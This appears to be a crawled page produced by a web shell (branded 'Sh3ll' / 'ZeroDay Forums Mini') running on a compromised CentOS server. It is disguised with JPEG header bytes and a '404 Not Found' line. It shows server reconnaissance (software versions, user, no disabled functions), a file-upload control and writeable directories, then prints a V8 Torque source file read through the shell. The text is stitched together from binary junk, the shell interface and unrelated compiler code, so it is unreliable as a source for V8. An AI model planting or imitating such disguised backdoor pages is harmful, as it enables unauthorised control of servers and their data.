����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/v8/src/builtins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/v8/src/builtins/string-iterator.tq
// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

namespace string_iterator {

  macro NewJSStringIterator(implicit context: Context)(
      string: String, nextIndex: Smi): JSStringIterator {
    return new JSStringIterator{
      map: GetInitialStringIteratorMap(),
      properties_or_hash: kEmptyFixedArray,
      elements: kEmptyFixedArray,
      string: string,
      next_index: nextIndex
    };
  }

  // ES6 #sec-string.prototype-@@iterator
  transitioning javascript builtin StringPrototypeIterator(
      js-implicit context: Context, receiver: JSAny)(): JSStringIterator {
    const name: String =
        ToThisString(receiver, 'String.prototype[Symbol.iterator]');
    const index: Smi = 0;
    return NewJSStringIterator(name, index);
  }

  // ES6 #sec-%stringiteratorprototype%.next
  transitioning javascript builtin StringIteratorPrototypeNext(
      js-implicit context: Context, receiver: JSAny)(): JSObject {
    const iterator = Cast<JSStringIterator>(receiver) otherwise ThrowTypeError(
        kIncompatibleMethodReceiver, 'String Iterator.prototype.next',
        receiver);
    const string = iterator.string;
    const position: intptr = SmiUntag(iterator.next_index);
    const length: intptr = string.length_intptr;
    if (position >= length) {
      return AllocateJSIteratorResult(Undefined, True);
    }
    // Move to next codepoint.
    const encoding = UTF16;
    const ch = string::LoadSurrogatePairAt(string, length, position, encoding);
    const value: String = string::StringFromSingleUTF16EncodedCodePoint(ch);
    iterator.next_index = SmiTag(position + value.length_intptr);
    return AllocateJSIteratorResult(value, False);
  }
}

ZeroDay Forums Mini